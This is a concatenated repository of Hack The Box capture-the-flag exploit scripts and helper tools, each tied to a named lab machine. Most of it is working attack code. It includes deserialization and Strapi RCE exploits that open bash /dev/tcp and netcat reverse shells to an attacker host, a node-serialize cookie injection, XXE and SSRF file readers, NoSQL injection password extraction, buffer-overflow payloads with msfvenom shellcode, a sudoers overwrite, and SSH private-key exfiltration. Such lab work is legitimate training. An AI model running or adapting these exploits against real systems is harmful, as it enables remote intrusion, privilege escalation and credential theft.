```console 38 | $ python3 decode.py 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 39 | P@ssw0rd@123!!123 40 | ``` 41 | -------------------------------------------------------------------------------- /Machines/Antique/decode.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import sys 3 | 4 | 5 | def main(): 6 | bits = sys.argv[1:] 7 | 8 | try: 9 | print(''.join(map(lambda x: x.decode(), map(binascii.unhexlify, bits)))) 10 | except binascii.Error as e: 11 | print('binascii.Error', e) 12 | 13 | 14 | if __name__ == '__main__': 15 | main() 16 | -------------------------------------------------------------------------------- /Machines/Awkward/readFile.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | const http = require('http') 4 | const jwt = require('jsonwebtoken') 5 | 6 | const TOKEN_SECRET = '123beany123' 7 | const OPTIONS = { hostname: '10.10.11.185', path: '/api/all-leave' } 8 | 9 | const readFile = filename => { 10 | const token = jwt.sign({ username: `/' ${filename} '` }, TOKEN_SECRET) 11 | 12 | const headers = { Cookie: `token=${token}`, Host: 'hat-valley.htb' } 13 | 14 | const req = http.request({ ...OPTIONS, headers }, res => { 15 | let body = '' 16 | 17 | res.on('data', data => (body += data)) 18 | res.on('end', () => console.log(body)) 19 | }) 20 | 21 | req.on('error', console.error) 22 | req.end() 23 | } 24 | 25 | if (process.argv.length !== 3) { 26 | console.error('Usage: node readFile.js ') 27 | process.exit(1) 28 | } 29 | 30 | readFile(process.argv[2]) 31 | -------------------------------------------------------------------------------- /Machines/Backdoor/dpt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | import sys 5 | 6 | 7 | def main(): 8 | if len(sys.argv) < 2: 9 | print(f'Usage: python3 {sys.argv[0]} ') 10 | exit(1) 11 | 12 | filename = sys.argv[1] 13 | url = f'http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl={filename}' 14 | res = requests.get(url, headers={'Host': 'backdoor.htb'}) 15 | 16 | first_line = 3 * filename 17 | last_line = '' 18 | 19 | file = res.text[len(first_line):-len(last_line)].strip() 20 | print(file) 21 | 22 | 23 | if __name__ == '__main__': 24 | main() 25 | -------------------------------------------------------------------------------- /Machines/Bizness/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Machines. Bizness 2 | 3 | Machine write-up: https://7rocky.github.io/en/htb/bizness 4 | 5 | ### `ofbiz_exploit.sh` 6 | 7 | This Bash script is based on [deserialization.sh](../Monitors/deserialization.sh) from [Monitors](../Monitors). Basically, this script exploits [CVE-2023-51467](https://nvd.nist.gov/vuln/detail/CVE-2023-51467) and [CVE-2023-49070](https://nvd.nist.gov/vuln/detail/CVE-2023-49070). 8 | 9 | The only difference with [deserialization.sh](../Monitors/deserialization.sh) is that we need to add `?USERNAME=&PASSWORD=&requirePasswordChange=Y` for an authentication bypass and modify the way to call [ysoserial](https://github.com/frohoff/ysoserial). The rest is all the same. 10 | -------------------------------------------------------------------------------- /Machines/Bizness/ofbiz_exploit.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | ip=$1 4 | port=$2 5 | yss_path=$3 6 | 7 | echo "bash -i >& /dev/tcp/$ip/$port 0>&1" > shell.sh 8 | 9 | first=`java -jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED $yss_path CommonsBeanutils1 "wget $ip/shell.sh -qO /tmp/shell.sh" | base64 | tr -d "\n"` 10 | second=`java -jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED $yss_path CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"` 11 | 12 | function send_payload() { 13 | curl 'https://bizness.htb/webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y' -d \ 14 | " 15 | 16 | ProjectDiscovery 17 | 18 | 19 | 20 | 21 | 22 | test 23 | 24 | $1 25 | 26 | 27 | 28 | 29 | 30 | 31 | " -skH 'Content-Type: application/xml' >/dev/null 32 | } 33 | 34 | send_payload $first 35 | sleep 2 36 | send_payload $second 37 | 38 | rm shell.sh 39 | -------------------------------------------------------------------------------- /Machines/BountyHunter/xxe.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | file=$1 4 | 5 | xml=" 6 | 8 | ]> 9 | 10 | BEGINTAG &xxe; ENDTAG 11 | 12 | 13 | 14 | 15 | " 16 | 17 | data=$(echo $xml | base64 | sed 's/\+/%2b/g') 18 | 19 | res=$(curl -sd data=$data http://10.10.11.100/tracker_diRbPr00f314.php) 20 | 21 | ok=$(echo "$res" | grep -E 'BEGINTAG|ENDTAG') 22 | 23 | if [ -z "$ok" ]; then 24 | echo Nothing found 25 | exit 1 26 | fi 27 | 28 | begin=$(echo "$res" | grep -n BEGINTAG | awk -F : '{ print $1 }') 29 | end=$(echo "$res" | grep -n ENDTAG | awk -F : '{ print $1 }') 30 | 31 | echo "$res" | sed -n "${begin},${end}p" | sed -E 's/ BEGINTAG | ENDTAG<\/td>//g' | base64 -d 32 | -------------------------------------------------------------------------------- /Machines/Forge/ssrf.py: -------------------------------------------------------------------------------- 1 | import re 2 | import requests 3 | import sys 4 | 5 | 6 | def main(): 7 | url = sys.argv[1] 8 | 9 | r = requests.post('http://forge.htb/upload', {'url': url, 'remote': 1}) 10 | 11 | if 'http://forge.htb' not in r.text: 12 | print(re.findall(r'(.*?)', r.text)[0]) 13 | exit() 14 | 15 | upload_url = re.findall(r'', r.text)[0] 16 | 17 | r = requests.get(upload_url) 18 | print(r.text) 19 | 20 | 21 | if __name__ == '__main__': 22 | main() 23 | -------------------------------------------------------------------------------- /Machines/Hancliffe/decrypt.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | encrypted='YXlYeDtsbD98eDtsWms5SyU=' 4 | echo "Encrypted : $encrypted" 5 | 6 | encrypted2=$(echo $encrypted | base64 -d) 7 | echo "Encrypted2: $encrypted2" 8 | 9 | for i in $(seq 1 ${#encrypted2}); do 10 | for d in {32..126}; do 11 | c=$(python3 -c "print(chr($d))") 12 | 13 | if [ "$(./encrypt2 $c)" = ${encrypted2:i-1:1} ]; then 14 | encrypted1+=$c 15 | break 16 | fi 17 | done 18 | done 19 | 20 | echo "Encrypted1: $encrypted1" 21 | 22 | for i in $(seq 1 ${#encrypted1}); do 23 | for d in {32..126}; do 24 | c=$(python3 -c "print(chr($d))") 25 | 26 | if [ "$(./encrypt1 $c)" = ${encrypted1:i-1:1} ]; then 27 | decrypted+=$c 28 | break 29 | fi 30 | done 31 | done 32 | 33 | echo "Decrypted : $decrypted" 34 | 35 | echo Re-compute: $(./encrypt2 "$(./encrypt1 "$decrypted")" | tr -d '\n' | base64) 36 | -------------------------------------------------------------------------------- /Machines/Hancliffe/encrypt1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(int argc, char** argv) { 5 | int i; 6 | int length; 7 | char c; 8 | char* s; 9 | 10 | s = argv[1]; 11 | length = strlen(s); 12 | 13 | for (i = 0; i < length; i++) { 14 | if (0x20 < s[i] && s[i] != 0x7f) { 15 | c = (char) (s[i] + 0x2f); 16 | 17 | if (s[i] + 0x2f < 0x7f) { 18 | s[i] = c; 19 | } else { 20 | s[i] = c - 0x5e; 21 | } 22 | } 23 | } 24 | 25 | puts(s); 26 | 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /Machines/Hancliffe/encrypt2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(int argc, char** argv) { 5 | _Bool b; 6 | int i; 7 | int length; 8 | char c; 9 | char* s; 10 | 11 | s = argv[1]; 12 | length = strlen(s); 13 | 14 | for (i = 0; i < length; i++) { 15 | c = s[i]; 16 | 17 | if ((0x41 <= c && c <= 0x5a) || (0x61 <= c && c <= 0x7a)) { 18 | b = (c <= 0x5a); 19 | 20 | if (b) { 21 | c += ' '; 22 | } 23 | 24 | s[i] = 0x7a - (c + 0x9f); 25 | 26 | if (b) { 27 | s[i] -= 0x20; 28 | } 29 | } 30 | } 31 | 32 | puts(s); 33 | 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /Machines/Hancliffe/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | 6 | def main(): 7 | ip, port = sys.argv[1], int(sys.argv[2]) 8 | 9 | username = b'alfiansyah' 10 | password = b'K3r4j@@nM4j@pAh!T' 11 | fullname = b'Vickry Alfiansyah' 12 | code = b'T3D83CbJkl1299' 13 | 14 | offset = 52 15 | jmp_esp = p32(0x7190239f) 16 | jmp_back = asm('jmp $-56') 17 | 18 | payload = code 19 | payload += asm('add esp, 0x48') 20 | payload += asm('pop eax') 21 | payload += asm('push eax') 22 | payload += asm('sub esp, 0x48') 23 | payload += asm('sub esp, 0x64') 24 | payload += asm('xor ebx, ebx') 25 | payload += asm('push ebx') 26 | payload += asm('add bh, 0x04') 27 | payload += asm('push ebx') 28 | payload += asm('mov ebx, esp') 29 | payload += asm('add ebx, 0x64') 30 | payload += asm('push ebx') 31 | payload += asm('push eax') 32 | payload += asm('mov eax, ds:0x719082ac') 33 | payload += asm('call eax') 34 | payload += b'\x90' * (offset + len(code) - len(payload)) 35 | payload += jmp_esp 36 | payload += jmp_back 37 | payload += b'\x90' * 8 38 | 39 | r = remote(ip, port) 40 | 41 | r.sendlineafter(b'Username: ', username) 42 | r.sendlineafter(b'Password: ', password) 43 | r.sendlineafter(b'FullName: ', fullname) 44 | r.sendlineafter(b'Input Your Code: ', payload) 45 | 46 | # msfvenom -p windows/shell_reverse_tcp LHOST=... LPORT=... -f raw -o shellcode.bin 47 | with open('shellcode.bin', 'rb') as f: 48 | shellcode = f.read() 49 | 50 | sleep(1) 51 | r.sendline(shellcode) 52 | 53 | 54 | if __name__ == '__main__': 55 | main() 56 | -------------------------------------------------------------------------------- /Machines/Health/crack.go: -------------------------------------------------------------------------------- 1 | //usr/bin/env go run $0 $@; exit $? 2 | 3 | package main 4 | 5 | import ( 6 | "bufio" 7 | "fmt" 8 | "os" 9 | 10 | "crypto/sha256" 11 | 12 | "golang.org/x/crypto/pbkdf2" 13 | ) 14 | 15 | // EncodePassword encodes password using PBKDF2 SHA256 with given salt. 16 | func EncodePassword(password, salt string) string { 17 | newPasswd := pbkdf2.Key([]byte(password), []byte(salt), 10000, 50, sha256.New) 18 | return fmt.Sprintf("%x", newPasswd) 19 | } 20 | 21 | func main() { 22 | if len(os.Args) != 4 { 23 | fmt.Println("Usage: go run crack.go ") 24 | os.Exit(1) 25 | } 26 | 27 | hash, salt := os.Args[2], os.Args[3] 28 | file, err := os.Open(os.Args[1]) 29 | 30 | if err != nil { 31 | fmt.Println("File not found") 32 | } 33 | 34 | defer file.Close() 35 | 36 | scanner := bufio.NewScanner(file) 37 | 38 | for scanner.Scan() { 39 | password := scanner.Text() 40 | 41 | if EncodePassword(password, salt) == hash { 42 | fmt.Println("[+] Craked:", password) 43 | break 44 | } 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /Machines/Health/ssrf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import logging 4 | import os 5 | import re 6 | import requests 7 | import sys 8 | 9 | from flask import Flask, redirect, request 10 | from threading import Thread 11 | 12 | 13 | app = Flask(__name__) 14 | logging.getLogger('werkzeug').setLevel(logging.CRITICAL) 15 | 16 | 17 | @app.route('/monitored', methods=['GET']) 18 | def monitored(): 19 | return redirect(monitored_url) 20 | 21 | 22 | @app.route('/payload', methods=['POST']) 23 | def payload(): 24 | print('\n[+] SSRF Response:\n\n' + request.json.get('body')) 25 | os._exit(0) 26 | 27 | 28 | def webhook(lhost: str): 29 | s = requests.session() 30 | r = s.get('http://10.10.11.176') 31 | token = re.findall(r'', r.text)[0] 32 | 33 | s.post('http://10.10.11.176/webhook', data={ 34 | '_token': token, 35 | 'webhookUrl': f'http://{lhost}/payload', 36 | 'monitoredUrl': f'http://{lhost}/monitored', 37 | 'frequency': '* * * * *', 38 | 'onlyError': 0, 39 | 'action': 'Test', 40 | }) 41 | 42 | 43 | if __name__ == '__main__': 44 | if len(sys.argv) != 3: 45 | print(f'[!] Usage: {sys.argv[0]} ') 46 | os._exit(1) 47 | 48 | lhost, monitored_url = sys.argv[1:] 49 | 50 | Thread(target=webhook, args=(lhost, )).start() 51 | app.run(host='0.0.0.0', port=80) 52 | -------------------------------------------------------------------------------- /Machines/Horizontall/rce_strapi.py: -------------------------------------------------------------------------------- 1 | import json 2 | import requests 3 | import sys 4 | 5 | 6 | if len(sys.argv) != 3: 7 | print(f'Usage: {sys.argv[0]} ') 8 | sys.exit(1) 9 | 10 | 11 | lhost, lport = sys.argv[1:3] 12 | url = 'http://api-prod.horizontall.htb' 13 | email = 'admin@horizontall.htb' 14 | new_password = 'asdfasdfasdf' 15 | 16 | 17 | def main(): 18 | s = requests.session() 19 | 20 | version = json.loads( 21 | s.get(f'{url}/admin/strapiVersion').text)['strapiVersion'] 22 | 23 | print(f'[*] Detected version (GET /admin/strapiVersion): {version}') 24 | print('[*] Sending password reset request...') 25 | 26 | s.post(f'{url}', json={ 27 | 'email': email, 28 | 'url': f'{url}/admin/plugins/users-permissions/auth/reset-password' 29 | }) 30 | 31 | print('[*] Setting new password...') 32 | 33 | r = s.post(f'{url}/admin/auth/reset-password', json={ 34 | 'code': {}, 'password': new_password, 'passwordConfirmation': new_password 35 | }) 36 | 37 | print('[*] Response:', r.text) 38 | 39 | token = r.json()['jwt'] 40 | command = f'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f' 41 | 42 | s.post(f'{url}/admin/plugins/install', 43 | headers={'Authorization': f'Bearer {token}'}, 44 | data={'plugin': f'documentation && $({command})'}) 45 | 46 | 47 | if __name__ == '__main__': 48 | main() 49 | -------------------------------------------------------------------------------- /Machines/Intelligence/reqPdf.go: -------------------------------------------------------------------------------- 1 | //usr/bin/env go run $0 $@; exit $? 2 | 3 | package main 4 | 5 | import ( 6 | "fmt" 7 | "os" 8 | "sync" 9 | "time" 10 | 11 | "io/ioutil" 12 | "net/http" 13 | ) 14 | 15 | const THREADS = 50 16 | 17 | var guard = make(chan struct{}, THREADS) 18 | var nFound = 0 19 | 20 | func writeToPdf(filename string, content []byte) { 21 | var m sync.Mutex 22 | m.Lock() 23 | defer m.Unlock() 24 | 25 | nFound++ 26 | file, err := os.Create(filename) 27 | 28 | if err != nil { 29 | panic(err) 30 | } 31 | 32 | _, err = file.Write(content) 33 | 34 | if err != nil { 35 | panic(err) 36 | } 37 | } 38 | 39 | func requestPdf(year, month, day int) { 40 | guard <- struct{}{} 41 | 42 | filename := fmt.Sprintf("%d-%02d-%02d-upload.pdf", year, month, day) 43 | res, err := http.Get("http://intelligence.htb/documents/" + filename) 44 | 45 | if err != nil { 46 | panic(err) 47 | } 48 | 49 | defer res.Body.Close() 50 | 51 | if res.StatusCode == 200 { 52 | body, err := ioutil.ReadAll(res.Body) 53 | 54 | if err != nil { 55 | panic(err) 56 | } 57 | 58 | writeToPdf(filename, body) 59 | } 60 | 61 | <-guard 62 | } 63 | 64 | func main() { 65 | var wg sync.WaitGroup 66 | 67 | fmt.Println("Fuzzing PDF files of the form: YYYY-MM-DD-upload.pdf") 68 | 69 | start := time.Now() 70 | year := 2020 71 | 72 | for month := 1; month <= 12; month++ { 73 | for day := 1; day <= 31; day++ { 74 | wg.Add(1) 75 | 76 | go func(year, month, day int) { 77 | defer wg.Done() 78 | requestPdf(year, month, day) 79 | }(year, month, day) 80 | } 81 | } 82 | 83 | wg.Wait() 84 | 85 | fmt.Printf("Found %d files in %s\n", nFound, time.Since(start)) 86 | } 87 | -------------------------------------------------------------------------------- /Machines/Monitors/deserialization.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | ip=$1 4 | port=$2 5 | yss_path=$3 6 | 7 | echo "bash -i >& /dev/tcp/$ip/$port 0>&1" > shell.sh 8 | 9 | first=`java -jar $yss_path CommonsBeanutils1 "wget $ip/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"` 10 | second=`java -jar $yss_path CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"` 11 | 12 | function send_payload() { 13 | curl https://127.0.0.1:8443/webtools/control/xmlrpc -d \ 14 | " 15 | 16 | ProjectDiscovery 17 | 18 | 19 | 20 | 21 | 22 | test 23 | 24 | $1 25 | 26 | 27 | 28 | 29 | 30 | 31 | " -skH 'Content-Type: application/xml' >/dev/null 32 | } 33 | 34 | send_payload $first 35 | sleep 2 36 | send_payload $second 37 | 38 | rm shell.sh 39 | -------------------------------------------------------------------------------- /Machines/NodeBlog/nosqli.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | url=10.10.11.139:5000/login 4 | user=admin 5 | 6 | function do_nosqli() { 7 | curl $url -H 'Content-Type: application/json' -sd $1 | grep Invalid 8 | } 9 | 10 | while true; do 11 | data='{"user":"'$user'","password":{"$regex":"^.{'$password_length'}$"}}' 12 | echo -ne "Password length: $password_length\r" 13 | 14 | if [ -z "$(do_nosqli "$data")" ]; then 15 | break 16 | fi 17 | 18 | password_length=$((password_length + 1)) 19 | done 20 | 21 | echo 22 | 23 | for i in $(seq 1 $password_length); do 24 | echo -ne "Password: $password\r" 25 | 26 | for c in {A..Z} {a..z} {0..9}; do 27 | data='{"user":"'$user'","password":{"$regex":"^'$password$c'.{'$(($password_length - $i))'}$"}}' 28 | 29 | if [ -z "$(do_nosqli $data)" ]; then 30 | password+=$c 31 | break 32 | fi 33 | done 34 | done 35 | 36 | echo 37 | -------------------------------------------------------------------------------- /Machines/NodeBlog/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "author": "7Rocky", 3 | "dependencies": { 4 | "axios": "^0.24.0" 5 | }, 6 | "description": "Obtain a reverse shell exploiting an insecure deserialization vulnerability", 7 | "keywords": ["rce", "insecure deserialization", "node-serialize", "reverse shell", "node"], 8 | "license": "ISC", 9 | "main": "unserialize_rce.js", 10 | "name": "node-blog", 11 | "scripts": { 12 | "test": "echo \"Error: no test specified\" && exit 1" 13 | }, 14 | "version": "1.0.0" 15 | } 16 | -------------------------------------------------------------------------------- /Machines/NodeBlog/unserialize_rce.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | const axios = require('axios') 4 | 5 | const user = 'admin' 6 | const password = 'IppsecSaysPleaseSubscribe' 7 | const baseUrl = 'http://10.10.11.139:5000' 8 | 9 | const [lhost, lport] = process.argv.slice(2, 4) 10 | 11 | const login = async () => { 12 | const res = await axios.post(`${baseUrl}/login`, { user, password }) 13 | 14 | return res.headers['set-cookie'][0] 15 | } 16 | 17 | const rce = async (cookie, cmd) => { 18 | const paramIndex = cookie.indexOf(';') 19 | 20 | cookie = 21 | cookie.substring(0, paramIndex - 3) + 22 | encodeURIComponent( 23 | `,"rce":"_$$ND_FUNC$$_function() { require('child_process').exec('${cmd}') }()"}` 24 | ) + 25 | cookie.substring(paramIndex) 26 | 27 | await axios.get(baseUrl, { headers: { cookie } }) 28 | } 29 | 30 | const reverseShell = () => 31 | Buffer.from(`bash -i >& /dev/tcp/${lhost}/${lport} 0>&1`).toString('base64') 32 | 33 | const main = async () => { 34 | if (!lhost || !lport) { 35 | console.log('[!] Usage: node unserialize_rce.js ') 36 | process.exit() 37 | } 38 | 39 | const cookie = await login() 40 | console.log('[+] Login successful') 41 | 42 | await rce(cookie, `echo ${reverseShell()} | base64 -d | bash`) 43 | console.log('[+] RCE completed') 44 | } 45 | 46 | main() 47 | 48 | -------------------------------------------------------------------------------- /Machines/NodeBlog/xxe.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import html 4 | import re 5 | import requests 6 | import sys 7 | 8 | 9 | def send_xml(filename): 10 | xml = f''' 11 | ]> 12 | 13 | 14 | &xxe; 15 | 16 | 17 | ''' 18 | 19 | res = requests.post('http://10.10.11.139:5000/articles/xml', files={'file': ('test.xml', xml)}) 20 | 21 | return res.text 22 | 23 | 24 | def main(): 25 | if len(sys.argv) == 1: 26 | print(f'Usage: python3 {sys.argv[0]} ') 27 | exit(1) 28 | 29 | filename = sys.argv[1] 30 | xml = send_xml(filename) 31 | 32 | try: 33 | print(html.unescape(re.findall(r'(.*?)', xml, re.DOTALL)[0])) 34 | except IndexError: 35 | print('Not Found') 36 | 37 | 38 | if __name__ == '__main__': 39 | main() 40 | -------------------------------------------------------------------------------- /Machines/OverGraph/bf_token.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, log 4 | from random import randint 5 | 6 | context.binary = 'nreport_patched' 7 | context.log_level = 'CRITICAL' 8 | 9 | 10 | def main(): 11 | while True: 12 | test_bytes = [randint(0x30, 0x7e) for _ in range(5)] 13 | test_token = bytes(test_bytes[:3]) + b'A' * 6 + \ 14 | bytes([test_bytes[3]]) + b'A' * 3 + bytes([test_bytes[4]]) 15 | 16 | p = context.binary.process() 17 | p.recv() 18 | p.sendline(test_token) 19 | msg = p.recv(timeout=1) 20 | 21 | if b'Invalid Token' not in msg: 22 | with context.local(log_level='DEBUG'): 23 | print() 24 | log.success(f'Valid token: {test_token.decode()}') 25 | 26 | p.close() 27 | break 28 | 29 | p.close() 30 | 31 | 32 | if __name__ == '__main__': 33 | main() 34 | -------------------------------------------------------------------------------- /Machines/OverGraph/exploit_rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, log, p64, remote, sys 4 | 5 | context.binary = 'nreport_patched' 6 | 7 | 8 | def main(): 9 | token = b'hD]AAAAAAVAAAT' 10 | 11 | if len(sys.argv) != 3: 12 | log.error(f'Usage: {sys.argv[0]} ') 13 | 14 | host, port = sys.argv[1], sys.argv[2] 15 | p = remote(host, int(port)) 16 | 17 | p.sendlineafter(b'Enter Your Token: ', token) 18 | p.sendlineafter(b'Enter Name: ', p64(context.binary.sym.userinfo1 + 40)) 19 | 20 | p.sendlineafter(b'> ', b'1') 21 | p.sendlineafter(b'Message Title: ', b'AAAA') 22 | p.sendlineafter(b'Message: ', b'BBBB') 23 | 24 | p.sendlineafter(b'> ', b'3') 25 | p.sendlineafter(b'Enter number to edit: ', b'12') 26 | p.sendlineafter(b'Message Title: ', b'chmod 4755 /bin/bash\0') 27 | 28 | p.sendlineafter(b'> ', b'5') 29 | 30 | p.close() 31 | 32 | 33 | if __name__ == '__main__': 34 | main() 35 | -------------------------------------------------------------------------------- /Machines/OverGraph/exploit_write.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import context, log, p64, remote, sys 4 | 5 | context.binary = 'nreport_patched' 6 | 7 | 8 | def main(): 9 | token = b'hD]AAAAAAVAAAT' 10 | 11 | if len(sys.argv) != 3: 12 | log.error(f'Usage: {sys.argv[0]} ') 13 | 14 | host, port = sys.argv[1], sys.argv[2] 15 | p = remote(host, int(port)) 16 | 17 | p.sendlineafter(b'Enter Your Token: ', token) 18 | p.sendlineafter(b'Enter Name: ', p64(context.binary.sym.userinfo1 + 140 + 2)) 19 | 20 | p.sendlineafter(b'> ', b'1') 21 | p.sendlineafter(b'Message Title: ', b'ALL=NOPASSWD:ALL') 22 | p.sendlineafter(b'Message: ', b'user') 23 | 24 | p.sendlineafter(b'> ', b'3') 25 | p.sendlineafter(b'Enter number to edit: ', b'12') 26 | p.sendlineafter(b'Message Title: ', b'pt/../etc/sudoers') 27 | 28 | p.sendlineafter(b'> ', b'4') 29 | p.sendlineafter(b'> ', b'2') 30 | 31 | p.close() 32 | 33 | 34 | if __name__ == '__main__': 35 | main() 36 | -------------------------------------------------------------------------------- /Machines/OverGraph/extract_id_rsa.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import requests 5 | import sys 6 | 7 | from flask import Flask, request 8 | 9 | app = Flask(__name__) 10 | file = ['-----BEGIN OPENSSH PRIVATE KEY-----'] 11 | enable = 0 12 | 13 | 14 | @app.route('/header.m3u8', methods=['GET']) 15 | def header(): 16 | global IP 17 | global enable 18 | 19 | if enable < 2: 20 | enable += 1 21 | return f'#EXTM3U\n#EXT-X-MEDIA-SEQUENCE:0\n#EXTINF:,\nhttp://{IP}/?d=' 22 | else: 23 | upload_video(len('\n'.join(file)) + 1) 24 | enable = 0 25 | 26 | return '' 27 | 28 | 29 | @app.route('/', methods=['GET']) 30 | def index(): 31 | data = request.args.get('d').replace(' ', '+') 32 | file.append(data) 33 | write_file() 34 | 35 | return '' 36 | 37 | 38 | def write_file(): 39 | with open('id_rsa', 'w') as f: 40 | f.write('\n'.join(file) + '\n-----END OPENSSH PRIVATE KEY-----\n') 41 | 42 | 43 | def upload_video(offset: int): 44 | global IP 45 | global admin_token 46 | 47 | if offset > 10000: 48 | os._exit(0) 49 | 50 | payload = f''' 51 | #EXTM3U 52 | #EXT-X-MEDIA-SEQUENCE:0 53 | #EXTINF:10.0, 54 | concat:http://{IP}/header.m3u8|subfile,,start,{offset},end,10000,,:/home/user/.ssh/id_rsa 55 | #EXT-X-ENDLIST 56 | '''[1:] 57 | 58 | requests.post('http://10.10.11.157/admin/video/upload', headers={ 59 | 'Host': 'internal-api.graph.htb', 60 | 'admintoken': admin_token 61 | }, files=[ 62 | ('file', ('video.avi', payload.encode(), 'video/x-msvideo')) 63 | ]) 64 | 65 | 66 | def main(): 67 | global IP 68 | global admin_token 69 | 70 | if len(sys.argv) != 3: 71 | print(f'Usage: python3 {sys.argv[0]} ') 72 | exit(1) 73 | 74 | IP = sys.argv[1] 75 | admin_token = sys.argv[2] 76 | 77 | 78 | if __name__ == '__main__': 79 | main() 80 | upload_video(len(file[0]) + 1) 81 | app.run(host='0.0.0.0', port=80, debug=True) 82 | -------------------------------------------------------------------------------- /Machines/RainyDay/crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import bcrypt 4 | import sys 5 | 6 | 7 | def main(): 8 | if len(sys.argv) != 4: 9 | print(f'[!] Usage: python3 {sys.argv[0]} ') 10 | exit(1) 11 | 12 | wordlist = sys.argv[1] 13 | password_hash = sys.argv[2].encode() 14 | pepper = sys.argv[3].encode() 15 | 16 | with open(wordlist, 'rb') as f: 17 | passwords = f.read().splitlines() 18 | 19 | for password in passwords: 20 | if bcrypt.checkpw(password + pepper, password_hash): 21 | print(f'[+] Password: {password}') 22 | return 23 | 24 | 25 | if __name__ == '__main__': 26 | main() 27 | -------------------------------------------------------------------------------- /Machines/RainyDay/extract_pepper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import bcrypt 4 | 5 | from pwn import log, ssh, string 6 | 7 | 8 | def lateral_movement(shell): 9 | shell.sendlineafter(b'$', b'''echo 'print(().__class__.__base__.__subclasses__()[137].__init__.__globals__["system"]("bash"))' > /tmp/a.py''') 10 | shell.sendlineafter(b'$', b'sudo -u jack_adm /usr/bin/safe_python /tmp/a.py') 11 | assert b'jack_adm' in shell.recvuntil(b'@') 12 | 13 | log.success('Got shell as `jack_adm`') 14 | 15 | 16 | def extract_pepper(shell): 17 | pepper = '' 18 | 19 | payload_prog = log.progress('Payload') 20 | pepper_prog = log.progress('Pepper') 21 | 22 | found = True 23 | 24 | while found: 25 | found = False 26 | 27 | length_utf8 = (71 - len(pepper)) // 6 28 | length_ascii = (71 - len(pepper)) - length_utf8 * 6 29 | 30 | payload = '⚡️' * length_utf8 + 'A' * length_ascii 31 | payload_prog.status(payload) 32 | 33 | shell.sendlineafter(b'$', b'sudo /opt/hash_system/hash_password.py') 34 | shell.sendlineafter(b'Enter Password> ', payload.encode()) 35 | shell.recvuntil(b'[+] Hash: ') 36 | password_hash = shell.recvline().strip() 37 | 38 | for c in string.printable: 39 | pepper_prog.status(pepper + c) 40 | 41 | if bcrypt.checkpw((payload + pepper + c).encode(), password_hash): 42 | pepper += c 43 | found = True 44 | break 45 | 46 | payload_prog.success(payload) 47 | pepper_prog.success(pepper) 48 | 49 | 50 | def main(): 51 | shell = ssh(host='10.10.11.184', user='jack', keyfile='id_rsa').process('bash') 52 | 53 | lateral_movement(shell) 54 | extract_pepper(shell) 55 | 56 | 57 | if __name__ == '__main__': 58 | main() 59 | -------------------------------------------------------------------------------- /Machines/Retired/third_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import re 4 | import requests 5 | import struct 6 | import sys 7 | 8 | ip = '10.10.11.154' 9 | p64 = lambda n: struct.pack(' ') 51 | return 52 | 53 | pid, shellcode_file = sys.argv[1], sys.argv[2] 54 | 55 | with open(shellcode_file, 'rb') as f: 56 | shellcode = f.read() 57 | 58 | requests.post(f'http://{ip}/activate_license.php', 59 | files=craft_payload(pid, shellcode)) 60 | print('[+] Sent payload. Check listener') 61 | 62 | 63 | if __name__ == '__main__': 64 | main() 65 | -------------------------------------------------------------------------------- /Machines/Rope/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Machines. Rope 2 | 3 | Machine write-up: https://7rocky.github.io/en/htb/rope 4 | 5 | ### `fmtstr_exploit.py` 6 | 7 | This Format String exploit is nicely explained in the [write-up](https://7rocky.github.io/en/htb/rope/#format-string-exploitation) 8 | 9 | ### `root_exploit.py` 